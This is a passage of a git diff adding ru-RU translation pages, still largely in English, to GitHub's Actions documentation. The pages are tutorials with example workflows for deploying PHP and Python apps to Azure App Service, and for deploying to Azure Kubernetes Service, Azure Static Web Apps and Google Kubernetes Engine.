variables.product.prodname_actions %} `starter-workflows` repository. +* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. +* For more examples of GitHub Action workflows that deploy to Azure, see the +[actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. +* The "[Create a Node.js web app in Azure](https://docs.microsoft.com/azure/app-service/quickstart-nodejs)" quickstart in the Azure web app documentation demonstrates using {% data variables.product.prodname_vscode %} with the [Azure App Service extension](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azureappservice). diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md new file mode 100644 index 000000000000..ff5236a5caae --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-php-to-azure-app-service.md @@ -0,0 +1,158 @@ +--- +title: Deploying PHP to Azure App Service +intro: You can deploy your PHP project to Azure App Service as part of your continuous deployment (CD) workflows. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Azure App Service +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a PHP project to [Azure App Service](https://azure.microsoft.com/services/app-service/). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: + +{% data reusables.actions.create-azure-app-plan %} + +2. Create a web app. + + For example, you can use the Azure CLI to create an Azure App Service web app with a PHP runtime: + + ```bash{:copy} + az webapp create \ + --name MY_WEBAPP_NAME \ + --plan MY_APP_SERVICE_PLAN \ + --resource-group MY_RESOURCE_GROUP \ + --runtime "php|7.4" + ``` + + In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + +{% data reusables.actions.create-azure-publish-profile %} + +5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build and deploy a PHP project to Azure App Service when there is a push to the `main` branch. + +Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If the path to your project is not the repository root, change `AZURE_WEBAPP_PACKAGE_PATH` to the path to your project. If you use a version of PHP other than `8.x`, change`PHP_VERSION` to the version that you use. + +{% data reusables.actions.delete-env-key %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Build and deploy PHP app to Azure Web App + +env: + AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name + AZURE_WEBAPP_PACKAGE_PATH: '.' # set this to the path to your web app project, defaults to the repository root + PHP_VERSION: '8.x' # set this to the PHP version to use + +on: + push: + branches: + - main + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Setup PHP + uses: shivammathur/setup-php@v2 + with: + php-version: {% raw %}${{ env.PHP_VERSION }}{% endraw %} + + - name: Check if composer.json exists + id: check_files + uses: andstor/file-existence-action@v1 + with: + files: 'composer.json' + + - name: Get Composer Cache Directory + id: composer-cache + if: steps.check_files.outputs.files_exists == 'true' + run: | +{%- ifversion actions-save-state-set-output-envs %} + echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT +{%- else %} + echo "::set-output name=dir::$(composer config cache-files-dir)" +{%- endif %} + + - name: Set up dependency caching for faster installs + uses: {% data reusables.actions.action-cache %} + if: steps.check_files.outputs.files_exists == 'true' + with: + path: {% raw %}${{ steps.composer-cache.outputs.dir }}{% endraw %} + key: {% raw %}${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}{% endraw %} + restore-keys: | + {% raw %}${{ runner.os }}-composer-{% endraw %} + + - name: Run composer install if composer.json exists + if: steps.check_files.outputs.files_exists == 'true' + run: composer validate --no-check-publish && composer install --prefer-dist --no-progress + + - name: Upload artifact for deployment job + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: php-app + path: . + + deploy: + runs-on: ubuntu-latest + needs: build + environment: + name: 'production' + url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} + + steps: + - name: Download artifact from build job + uses: {% data reusables.actions.action-download-artifact %} + with: + name: php-app + + - name: 'Deploy to Azure Web App' + id: deploy-to-webapp + uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e + with: + app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} + publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} + package: . +``` + +## Additional resources + +The following resources may also be useful: + +* For the original starter workflow, see [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. +* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. +* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md new file mode 100644 index 000000000000..a17a8efabe35 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service.md @@ -0,0 +1,150 @@ +--- +title: Deploying Python to Azure App Service +intro: You can deploy your Python project to Azure App Service as part of your continuous deployment (CD) workflows. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Python + - Azure App Service +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Python project to [Azure App Service](https://azure.microsoft.com/services/app-service/). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: + +{% data reusables.actions.create-azure-app-plan %} + +1. Create a web app. + + For example, you can use the Azure CLI to create an Azure App Service web app with a Python runtime: + + ```bash{:copy} + az webapp create \ + --name MY_WEBAPP_NAME \ + --plan MY_APP_SERVICE_PLAN \ + --resource-group MY_RESOURCE_GROUP \ + --runtime "python|3.8" + ``` + + In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. + +{% data reusables.actions.create-azure-publish-profile %} + +1. Add an app setting called `SCM_DO_BUILD_DURING_DEPLOYMENT` and set the value to `1`. + +5. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build and deploy a Python project to Azure App Service when there is a push to the `main` branch. + +Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use. + +{% data reusables.actions.delete-env-key %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Build and deploy Python app to Azure Web App + +env: + AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name + PYTHON_VERSION: '3.8' # set this to the Python version to use + +on: + push: + branches: + - main + +jobs: + build: + runs-on: ubuntu-latest + + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Set up Python version + uses: {% data reusables.actions.action-setup-python %} + with: + python-version: {% raw %}${{ env.PYTHON_VERSION }}{% endraw %} + + - name: Create and start virtual environment + run: | + python -m venv venv + source venv/bin/activate + + - name: Set up dependency caching for faster installs + uses: {% data reusables.actions.action-cache %} + with: + path: ~/.cache/pip + key: {% raw %}${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}{% endraw %} + restore-keys: | + {% raw %}${{ runner.os }}-pip-{% endraw %} + + - name: Install dependencies + run: pip install -r requirements.txt + + # Optional: Add a step to run tests here (PyTest, Django test suites, etc.) + + - name: Upload artifact for deployment jobs + uses: {% data reusables.actions.action-upload-artifact %} + with: + name: python-app + path: | + . + !venv/ + deploy: + runs-on: ubuntu-latest + needs: build + environment: + name: 'production' + url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} + + steps: + - name: Download artifact from build job + uses: {% data reusables.actions.action-download-artifact %} + with: + name: python-app + path: . + + - name: 'Deploy to Azure Web App' + id: deploy-to-webapp + uses: azure/webapps-deploy@0b651ed7546ecfc75024011f76944cb9b381ef1e + with: + app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} + publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} +``` + +## Additional resources + +The following resources may also be useful: + +* For the original starter workflow, see [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. +* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. +* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md new file mode 100644 index 000000000000..99dbf6683087 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service.md @@ -0,0 +1,128 @@ +--- +title: Deploying to Azure Kubernetes Service +intro: You can deploy your project to Azure Kubernetes Service (AKS) as part of your continuous deployment (CD) workflows. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Azure Kubernetes Service +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a project to [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: + +1. Create a target AKS cluster and an Azure Container Registry (ACR). For more information, see "[Quickstart: Deploy an AKS cluster by using the Azure portal - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal)" and "[Quickstart - Create registry in portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal)" in the Azure documentation. + +1. Create a secret called `AZURE_CREDENTIALS` to store your Azure credentials. For more information about how to find this information and structure the secret, see [the `Azure/login` action documentation](https://github.com/Azure/login#configure-a-service-principal-with-a-secret). + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build and deploy a project to Azure Kubernetes Service when code is pushed to your repository. + +Under the workflow `env` key, change the following values: +- `AZURE_CONTAINER_REGISTRY` to the name of your container registry +- `PROJECT_NAME` to the name of your project +- `RESOURCE_GROUP` to the resource group containing your AKS cluster +- `CLUSTER_NAME` to the name of your AKS cluster + +This workflow uses the `helm` render engine for the [`azure/k8s-bake` action](https://github.com/Azure/k8s-bake). If you will use the `helm` render engine, change the value of `CHART_PATH` to the path to your helm file. Change `CHART_OVERRIDE_PATH` to an array of override file paths. If you use a different render engine, update the input parameters sent to the `azure/k8s-bake` action. + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Build and deploy to Azure Kubernetes Service + +env: + AZURE_CONTAINER_REGISTRY: MY_REGISTRY_NAME # set this to the name of your container registry + PROJECT_NAME: MY_PROJECT_NAME # set this to your project's name + RESOURCE_GROUP: MY_RESOURCE_GROUP # set this to the resource group containing your AKS cluster + CLUSTER_NAME: MY_CLUSTER_NAME # set this to the name of your AKS cluster + REGISTRY_URL: MY_REGISTRY_URL # set this to the URL of your registry + # If you bake using helm: + CHART_PATH: MY_HELM_FILE # set this to the path to your helm file + CHART_OVERRIDE_PATH: MY_OVERRIDE_FILES # set this to an array of override file paths + +on: [push] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + + - name: Azure Login + uses: azure/login@89d153571fe9a34ed70fcf9f1d95ab8debea7a73 + with: + creds: {% raw %}${{ secrets.AZURE_CREDENTIALS }}{% endraw %} + + - name: Build image on ACR + uses: azure/CLI@7378ce2ca3c38b4b063feb7a4cbe384fef978055 + with: + azcliversion: 2.29.1 + inlineScript: | + az configure --defaults acr={% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %} + az acr build -t -t {% raw %}${{ env.REGISTRY_URL }}{% endraw %}/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %} + + - name: Gets K8s context + uses: azure/aks-set-context@4e5aec273183a197b181314721843e047123d9fa + with: + creds: {% raw %}${{ secrets.AZURE_CREDENTIALS }}{% endraw %} + resource-group: {% raw %}${{ env.RESOURCE_GROUP }}{% endraw %} + cluster-name: {% raw %}${{ env.CLUSTER_NAME }}{% endraw %} + id: login + + - name: Configure deployment + uses: azure/k8s-bake@773b6144a3732e3bf4c78b146a0bb9617b2e016b + with: + renderEngine: 'helm' + helmChart: {% raw %}${{ env.CHART_PATH }}{% endraw %} + overrideFiles: {% raw %}${{ env.CHART_OVERRIDE_PATH }}{% endraw %} + overrides: | + replicas:2 + helm-version: 'latest' + id: bake + + - name: Deploys application + - uses: Azure/k8s-deploy@c8fbd76ededaad2799c054a9fd5d0fa5d4e9aee4 + with: + manifests: {% raw %}${{ steps.bake.outputs.manifestsBundle }}{% endraw %} + images: | + {% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}.azurecr.io/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %} + imagepullsecrets: | + {% raw %}${{ env.PROJECT_NAME }}{% endraw %} +``` + +## Additional resources + +The following resources may also be useful: + +* For the original starter workflow, see [`azure-kubernetes-service.yml `](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. +* The actions used to in this workflow are the official Azure [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake), and [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy)actions. +* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md new file mode 100644 index 000000000000..6a267be0b2fa --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app.md @@ -0,0 +1,116 @@ +--- +title: Deploying to Azure Static Web App +intro: You can deploy your web app to Azure Static Web App as part of your continuous deployment (CD) workflows. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Azure Static Web Apps +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a web app to [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} and "[Configuring OpenID Connect in Azure](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure)." + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: + +1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see "[Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal)" in the Azure documentation. + +2. Create a secret called `AZURE_STATIC_WEB_APPS_API_TOKEN` with the value of your static web app deployment token. For more information about how to find your deployment token, see "[Reset deployment tokens in Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management)" in the Azure documentation. + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build and deploy an Azure static web app when there is a push to the `main` branch or when a pull request targeting `main` is opened, synchronized, or reopened. The workflow also tears down the corresponding pre-production deployment when a pull request targeting `main` is closed. + +Under the workflow `env` key, change the following values: +- `APP_LOCATION` to the location of your client code +- `API_LOCATION` to the location of your API source code. If `API_LOCATION` is not relevant, you can delete the variable and the lines where it is used. +- `APP_ARTIFACT_LOCATION` to the location of your client code build output + +For more information about these values, see "[Build configuration for Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/build-configuration?tabs=github-actions)" in the Azure documentation. + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Deploy web app to Azure Static Web Apps + +env: + APP_LOCATION: "/" # location of your client code + API_LOCATION: "api" # location of your api source code - optional + APP_ARTIFACT_LOCATION: "build" # location of client code build output + +on: + push: + branches: + - main + pull_request: + types: [opened, synchronize, reopened, closed] + branches: + - main + +permissions: + issues: write + contents: read + +jobs: + build_and_deploy: + if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed') + runs-on: ubuntu-latest + name: Build and Deploy + steps: + - uses: {% data reusables.actions.action-checkout %} + with: + submodules: true + - name: Build And Deploy + uses: Azure/static-web-apps-deploy@1a947af9992250f3bc2e68ad0754c0b0c11566c9 + with: + azure_static_web_apps_api_token: {% raw %}${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}{% endraw %} + repo_token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} + action: "upload" + app_location: {% raw %}${{ env.APP_LOCATION }}{% endraw %} + api_location: {% raw %}${{ env.API_LOCATION }}{% endraw %} + app_artifact_location: {% raw %}${{ env.APP_ARTIFACT_LOCATION }}{% endraw %} + + close: + if: github.event_name == 'pull_request' && github.event.action == 'closed' + runs-on: ubuntu-latest + name: Close + steps: + - name: Close + uses: Azure/static-web-apps-deploy@1a947af9992250f3bc2e68ad0754c0b0c11566c9 + with: + azure_static_web_apps_api_token: {% raw %}${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}{% endraw %} + action: "close" +``` + +## Additional resources + +The following resources may also be useful: + +* For the original starter workflow, see [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. +* The action used to deploy the web app is the official Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) action. +* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md new file mode 100644 index 000000000000..662e841eb18b --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/index.md @@ -0,0 +1,26 @@ +--- +title: Развертывание в Azure +shortTitle: Deploy to Azure +intro: 'Узнайте, как выполнить развертывание в Службе приложений Azure, Azure Kubernetes и Статическом веб-приложении Azure в рамках рабочих процессов непрерывного развертывания (CD).' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /deploying-nodejs-to-azure-app-service + - /deploying-python-to-azure-app-service + - /deploying-java-to-azure-app-service + - /deploying-net-to-azure-app-service + - /deploying-php-to-azure-app-service + - /deploying-docker-to-azure-app-service + - /deploying-to-azure-static-web-app + - /deploying-to-azure-kubernetes-service +ms.openlocfilehash: 3f46da1c3e78358f16221a305fa38d6e0b8ca80f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145088605' +--- + diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md new file mode 100644 index 000000000000..1e2f09b304ef --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine.md @@ -0,0 +1,220 @@ +--- +title: Deploying to Google Kubernetes Engine +intro: You can deploy to Google Kubernetes Engine as part of your continuous deployment (CD) workflows. +redirect_from: + - /actions/guides/deploying-to-google-kubernetes-engine + - /actions/deployment/deploying-to-google-kubernetes-engine +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: tutorial +topics: + - CD + - Containers + - Google Kubernetes Engine +shortTitle: Deploy to Google Kubernetes Engine +--- + +{% data reusables.actions.enterprise-beta %} +{% data reusables.actions.enterprise-github-hosted-runners %} + +## Introduction + +This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to Google Container Registry (GCR), and deploy it to Google Kubernetes Engine (GKE) when there is a push to the `main` branch. + +GKE is a managed Kubernetes cluster service from Google Cloud that can host your containerized workloads in the cloud or in your own datacenter. For more information, see [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine). + +{% ifversion fpt or ghec or ghes > 3.4 %} + +{% note %} + +**Note**: {% data reusables.actions.about-oidc-short-overview %} + +{% endnote %} + +{% endif %} + +## Prerequisites + +Before you proceed with creating the workflow, you will need to complete the following steps for your Kubernetes project. This guide assumes the root of your project already has a `Dockerfile` and a Kubernetes Deployment configuration file. For an example, see [google-github-actions](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/gke). + +### Creating a GKE cluster + +To create the GKE cluster, you will first need to authenticate using the `gcloud` CLI. For more information on this step, see the following articles: +- [`gcloud auth login`](https://cloud.google.com/sdk/gcloud/reference/auth/login) +- [`gcloud` CLI](https://cloud.google.com/sdk/gcloud/reference) +- [`gcloud` CLI and Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk) + +For example: + +{% raw %} +```bash{:copy} +$ gcloud container clusters create $GKE_CLUSTER \ + --project=$GKE_PROJECT \ + --zone=$GKE_ZONE +``` +{% endraw %} + +### Enabling the APIs + +Enable the Kubernetes Engine and Container Registry APIs. For example: + +{% raw %} +```bash{:copy} +$ gcloud services enable \ + containerregistry.googleapis.com \ + container.googleapis.com +``` +{% endraw %} + +### Configuring a service account and storing its credentials + +This procedure demonstrates how to create the service account for your GKE integration. It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded encrypted repository secret named `GKE_SA_KEY`. + +1. Create a new service account: + {% raw %} + ``` + $ gcloud iam service-accounts create $SA_NAME + ``` + {% endraw %} +1. Retrieve the email address of the service account you just created: + {% raw %} + ``` + $ gcloud iam service-accounts list + ``` + {% endraw %} +1. Add roles to the service account. Note: Apply more restrictive roles to suit your requirements. + {% raw %} + ``` + $ gcloud projects add-iam-policy-binding $GKE_PROJECT \ + --member=serviceAccount:$SA_EMAIL \ + --role=roles/container.admin + $ gcloud projects add-iam-policy-binding $GKE_PROJECT \ + --member=serviceAccount:$SA_EMAIL \ + --role=roles/storage.admin + $ gcloud projects add-iam-policy-binding $GKE_PROJECT \ + --member=serviceAccount:$SA_EMAIL \ + --role=roles/container.clusterViewer + ``` + {% endraw %} +1. Download the JSON keyfile for the service account: + {% raw %} + ``` + $ gcloud iam service-accounts keys create key.json --iam-account=$SA_EMAIL + ``` + {% endraw %} +1. Store the service account key as a secret named `GKE_SA_KEY`: + {% raw %} + ``` + $ export GKE_SA_KEY=$(cat key.json | base64) + ``` + {% endraw %} + For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +### Storing your project name + +Store the name of your project as a secret named `GKE_PROJECT`. For more information about how to store a secret, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +### (Optional) Configuring kustomize +Kustomize is an optional tool used for managing YAML specs. After creating a `kustomization` file, the workflow below can be used to dynamically set fields of the image and pipe in the result to `kubectl`. For more information, see [kustomize usage](https://github.com/kubernetes-sigs/kustomize#usage). + +### (Optional) Configure a deployment environment + +{% data reusables.actions.about-environments %} + +## Creating the workflow + +Once you've completed the prerequisites, you can proceed with creating the workflow. + +The following example workflow demonstrates how to build a container image and push it to GCR. It then uses the Kubernetes tools (such as `kubectl` and `kustomize`) to pull the image into the cluster deployment. + +Under the `env` key, change the value of `GKE_CLUSTER` to the name of your cluster, `GKE_ZONE` to your cluster zone, `DEPLOYMENT_NAME` to the name of your deployment, and `IMAGE` to the name of your image. + +{% data reusables.actions.delete-env-key %} + +```yaml{:copy} +{% data reusables.actions.actions-not-certified-by-github-comment %} + +{% data reusables.actions.actions-use-sha-pinning-comment %} + +name: Build and Deploy to GKE + +on: + push: + branches: + - main + +env: + PROJECT_ID: {% raw %}${{ secrets.GKE_PROJECT }}{% endraw %} + GKE_CLUSTER: cluster-1 # Add your cluster name here. + GKE_ZONE: us-central1-c # Add your cluster zone here. + DEPLOYMENT_NAME: gke-test # Add your deployment name here. + IMAGE: static-site + +jobs: + setup-build-publish-deploy: + name: Setup, Build, Publish, and Deploy + runs-on: ubuntu-latest + environment: production + + steps: + - name: Checkout + uses: {% data reusables.actions.action-checkout %} + + # Setup gcloud CLI + - uses: google-github-actions/setup-gcloud@94337306dda8180d967a56932ceb4ddcf01edae7 + with: + service_account_key: {% raw %}${{ secrets.GKE_SA_KEY }}{% endraw %} + project_id: {% raw %}${{ secrets.GKE_PROJECT }}{% endraw %} + + # Configure Docker to use the gcloud command-line tool as a credential + # helper for authentication + - run: |- + gcloud --quiet auth configure-docker + + # Get the GKE credentials so we can deploy to the cluster + - uses: google-github-actions/get-gke-credentials@fb08709ba27618c31c09e014e1d8364b02e5042e + with: + cluster_name: {% raw %}${{ env.GKE_CLUSTER }}{% endraw %} + location: {% raw %}${{ env.GKE_ZONE }}{% endraw %} + credentials: {% raw %}${{ secrets.GKE_SA_KEY }}{% endraw %} + + # Build the Docker image + - name: Build + run: |- + docker build \ + --tag "gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA" \ + --build-arg GITHUB_SHA="$GITHUB_SHA" \ + --build-arg GITHUB_REF="$GITHUB_REF" \ + . + + # Push the Docker image to Google Container Registry + - name: Publish + run: |- + docker push "gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA" + + # Set up kustomize + - name: Set up Kustomize + run: |- + curl -sfLo kustomize https://github.com/kubernetes-sigs/kustomize/releases/download/v3.1.0/kustomize_3.1.0_linux_amd64 + chmod u+x ./kustomize + + # Deploy the Docker image to the GKE cluster + - name: Deploy + run: |- + ./kustomize edit set image gcr.io/PROJECT_ID/IMAGE:TAG=gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA + ./kustomize build . | kubectl apply -f - + kubectl rollout status deployment/$DEPLOYMENT_NAME + kubectl get services -o wide +``` + +## Additional resources + +For more information on the tools used in these examples, see the following documentation: + +* For the full starter workflow, see the ["Build and Deploy to GKE" workflow](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml). +* For more starter workflows and accompanying code, see Google's [{% data variables.product.prodname_actions %} example workflows](https://github.com/google-github-actions/setup-gcloud/tree/master/example-workflows/). +* The Kubernetes YAML customization engine: [Kustomize](https://kustomize.io/). +* "[Deploying a containerized web application](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app)" in the Google Kubernetes Engine documentation. diff --git a/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/index.md b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/index.md new file mode 100644 index 000000000000..dc35ef6ef387 --- /dev/null +++ b/translations/ru-RU/content/actions/deployment/deploying-to-your-cloud-provider/index.md @@ -0,0 +1,21 @@ +--- +title: Развертывание в поставщик облачных служб +shortTitle: Deploy to your cloud provider +intro: 'Вы можете выполнить развертывание в различных поставщиках облачных служб, таких как AWS, Azure и GKE.' +versions: + fpt: '*' + ghae: '*' + ghec: '*' + ghes: '*' +children: + - 